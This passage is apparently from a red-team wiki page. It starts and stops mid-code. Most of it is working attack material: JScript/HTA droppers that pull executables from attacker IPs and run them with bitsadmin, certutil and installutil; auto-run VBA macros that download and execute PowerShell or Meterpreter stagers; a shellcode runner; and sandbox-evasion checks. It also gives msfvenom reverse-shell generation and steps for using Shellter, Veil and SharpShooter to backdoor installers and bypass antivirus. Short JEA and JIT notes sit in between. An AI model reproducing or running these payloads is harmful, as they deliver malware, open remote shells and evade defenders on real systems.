var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
